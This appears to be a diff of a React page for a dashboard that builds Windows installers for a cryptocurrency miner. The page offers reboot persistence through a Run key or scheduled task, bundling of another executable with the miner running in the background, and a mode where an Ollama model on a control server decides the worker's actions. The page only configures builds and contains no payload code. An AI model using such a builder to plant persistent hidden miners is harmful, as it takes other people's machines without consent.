<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.persistence}
|
||||
onChange={(e) => { updateField('persistence', e.target.checked); updateField('auto_start', e.target.checked); }} />
|
||||
disabled={fieldMeta.persistence?.disabled}
|
||||
onChange={(e) => updateField('persistence', e.target.checked)} />
|
||||
<span>Persist after reboot <HelpTip field="persistence" /></span>
|
||||
</label>
|
||||
<FieldHint field="persistence" />
|
||||
<ForgeLockedHint meta={fieldMeta.persistence} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Run As <HelpTip field="run_as" /></label>
|
||||
@@ -475,25 +790,29 @@ export default function BuilderPage() {
|
||||
value={form.run_as}
|
||||
onChange={(e) => updateField('run_as', e.target.value)}
|
||||
>
|
||||
<option value="user">Current User</option>
|
||||
<option value="service">Windows Service</option>
|
||||
<option value="scheduled">Scheduled Task</option>
|
||||
<option value="user">Current User (Run key when persistence on)</option>
|
||||
<option value="service">Scheduled Task — forced persistence</option>
|
||||
<option value="scheduled">Scheduled Task — forced persistence</option>
|
||||
</select>
|
||||
<FieldHint field="run_as" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<div className={`form-group checkbox-group ${fieldMeta.auto_start?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.auto_start}
|
||||
onChange={(e) => { updateField('auto_start', e.target.checked); updateField('persistence', e.target.checked); }} />
|
||||
<span>Also register startup entry (same as persistence)</span>
|
||||
disabled={fieldMeta.auto_start?.disabled}
|
||||
onChange={(e) => updateField('auto_start', e.target.checked)} />
|
||||
<span>Also register startup entry (linked to persistence)</span>
|
||||
</label>
|
||||
<ForgeLockedHint meta={fieldMeta.auto_start} />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<h3>Fusion (prep + worker)</h3>
|
||||
<p className="form-description">
|
||||
Bundle your machine prep tool with the miner into one file. The output runs your prep.exe and embeds the worker in the background.
|
||||
</p>
|
||||
<ForgeSectionHeader
|
||||
title="Fusion (prep + worker)"
|
||||
badge="baked"
|
||||
description="Optional — bundles prep.exe with the miner. Forces background display when enabled."
|
||||
/>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.fusion_enabled}
|
||||
@@ -504,8 +823,11 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
{form.fusion_enabled && (
|
||||
<>
|
||||
<div className="form-group">
|
||||
<label className="label">Your prep.exe <HelpTip field="fusion_enabled" /></label>
|
||||
<div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}>
|
||||
<div className="label-row">
|
||||
<label className="label">Your prep.exe <HelpTip field="fusion_enabled" /></label>
|
||||
<ForgeFieldBadge meta={fieldMeta.fusion_prep} />
|
||||
</div>
|
||||
<input
|
||||
type="file"
|
||||
className="input"
|
||||
@@ -541,15 +863,83 @@ export default function BuilderPage() {
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="AI Autonomy (AI自治)"
|
||||
badge="baked"
|
||||
description="Optional — Ollama on the control server decides actions. Worker must reach this dashboard."
|
||||
/>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.ai_enabled}
|
||||
onChange={(e) => updateField('ai_enabled', e.target.checked)} />
|
||||
<span>Enable AI自治 (AI Autonomy) <HelpTip field="ai_enabled" /></span>
|
||||
</label>
|
||||
<FieldHint field="ai_enabled" />
|
||||
</div>
|
||||
{form.ai_enabled && (
|
||||
<>
|
||||
<div className={`form-group ${fieldMeta.ai_ollama_endpoint?.disabled ? 'field-disabled' : ''}`}>
|
||||
<div className="label-row">
|
||||
<label className="label">Ollama Endpoint URL</label>
|
||||
<ForgeFieldBadge meta={fieldMeta.ai_ollama_endpoint} />
|
||||
</div>
|
||||
<input
|
||||
type="url"
|
||||
className="input mono"
|
||||
placeholder="http://localhost:11434"
|
||||
disabled={fieldMeta.ai_ollama_endpoint?.disabled}
|
||||
value={form.ai_ollama_endpoint}
|
||||
onChange={(e) => updateField('ai_ollama_endpoint', e.target.value)}
|
||||
/>
|
||||
<p className="form-hint">
|
||||
Control server machine — not the worker. Default: <code>http://localhost:11434</code>
|
||||
</p>
|
||||
</div>
|
||||
<div className={`form-group ${fieldMeta.ai_model?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Ollama Model</label>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
placeholder="llama3.2"
|
||||
disabled={fieldMeta.ai_model?.disabled}
|
||||
value={form.ai_model}
|
||||
onChange={(e) => updateField('ai_model', e.target.value)}
|
||||
/>
|
||||
<p className="form-hint">
|
||||
Model to use for decisions. Default: <code>llama3.2</code>. Must support tool-calling / JSON output.
|
||||
</p>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="preflight-panel card">
|
||||
<h3 className="font-tech">PREFLIGHT CROSS-CHECK</h3>
|
||||
<ul className="preflight-list">
|
||||
{preflightChecks.map((c) => (
|
||||
<li key={c.id} className={`preflight-item preflight-${c.level}`}>
|
||||
<span className="preflight-icon">{c.level === 'ok' ? '✓' : c.level === 'warn' ? '!' : '✕'}</span>
|
||||
{c.message}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
{error && (
|
||||
<div className="form-error">
|
||||
<span>⚠️</span> {error}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<button type="submit" className="btn btn-success build-btn" disabled={building}>
|
||||
{building ? 'Building...' : 'Build Installer .exe'}
|
||||
<button type="submit" className="btn btn-success build-btn forge-submit-btn" disabled={building || !canForge}>
|
||||
{building ? 'Forging...' : canForge ? '⚒ FORGE INSTALLER' : `⚒ FIX ${errorCount} ERROR${errorCount === 1 ? '' : 'S'} TO FORGE`}
|
||||
</button>
|
||||
{!canForge && errorCount > 0 && (
|
||||
<p className="forge-forge-blocked">
|
||||
Forge is blocked until all preflight errors (✕) are resolved. Warnings (!) still allow forging.
|
||||
</p>
|
||||
)}
|
||||
</form>
|
||||
</div>
|
||||
|
||||
@@ -572,6 +962,15 @@ export default function BuilderPage() {
|
||||
Download .exe
|
||||
</a>
|
||||
)}
|
||||
{lastBuild.uninstall_download_url && (
|
||||
<>
|
||||
<p><strong>Uninstaller:</strong> {lastBuild.uninstall_file_name}</p>
|
||||
<code className="path-display">{lastBuild.uninstall_path}</code>
|
||||
<a className="btn btn-outline" href={lastBuild.uninstall_download_url} download>
|
||||
Download uninstall script
|
||||
</a>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
@@ -579,29 +978,48 @@ export default function BuilderPage() {
|
||||
{showRecent && (
|
||||
<div className="card recent-builds">
|
||||
<div className="recent-header">
|
||||
<h2>Recent Builds</h2>
|
||||
<h2>Build Manager</h2>
|
||||
<button className="btn btn-outline" onClick={() => setShowRecent(false)}>Close</button>
|
||||
</div>
|
||||
<p className="form-hint">Blueprint diff, one-click re-forge, LAN QR download for each forged build.</p>
|
||||
{blueprintDiffRows.length > 0 && (
|
||||
<NeonCard accent="purple" className="section">
|
||||
<h3>Blueprint Diff vs current form</h3>
|
||||
<ul className="blueprint-diff">
|
||||
{blueprintDiffRows.map((d) => (
|
||||
<li key={d.key} className={d.kind}>
|
||||
<strong>{d.key}</strong>: {d.kind}
|
||||
{d.kind === 'changed' && ` (${JSON.stringify(d.from)} → ${JSON.stringify(d.to)})`}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</NeonCard>
|
||||
)}
|
||||
{recentBuilds.length === 0 ? (
|
||||
<p className="empty-text">No builds yet</p>
|
||||
) : (
|
||||
<div className="builds-list">
|
||||
{recentBuilds.map((build) => (
|
||||
<div key={build.id} className="build-item">
|
||||
<div className="build-item-name">{build.worker_name}</div>
|
||||
<div className="build-item-details">
|
||||
<span>{build.threads} threads</span>
|
||||
<span>{(build.file_size / 1024 / 1024).toFixed(1)} MB</span>
|
||||
<span>{new Date(build.created_at).toLocaleString()}</span>
|
||||
<div className="build-manager-grid">
|
||||
{recentBuilds.map((build) => {
|
||||
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
|
||||
return (
|
||||
<div key={build.id} className="build-manager-row">
|
||||
<div>
|
||||
<div className="build-item-name">{build.worker_name}</div>
|
||||
<div className="build-item-details">
|
||||
<span>{build.threads} threads</span>
|
||||
<span>{(build.file_size / 1024 / 1024).toFixed(1)} MB</span>
|
||||
<span>{new Date(build.created_at).toLocaleString()}</span>
|
||||
</div>
|
||||
</div>
|
||||
<LanDownloadQR url={downloadUrl} />
|
||||
<a className="btn btn-outline" href={api.buildDownloadUrl(build.id)}>Download</a>
|
||||
<a className="btn btn-outline" href={api.buildUninstallUrl(build.id)}>Uninstall script</a>
|
||||
<button type="button" className="btn btn-primary" disabled={building} onClick={() => reForgeFromBuild(build)}>
|
||||
Re-forge
|
||||
</button>
|
||||
</div>
|
||||
{build.file_path && (
|
||||
<code className="path-display small">{build.file_path}</code>
|
||||
)}
|
||||
<a className="btn btn-outline" href={`/api/v1/builds/${build.id}/download`}>
|
||||
Download
|
||||
</a>
|
||||
</div>
|
||||
))}
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
Reference in New Issue
Block a user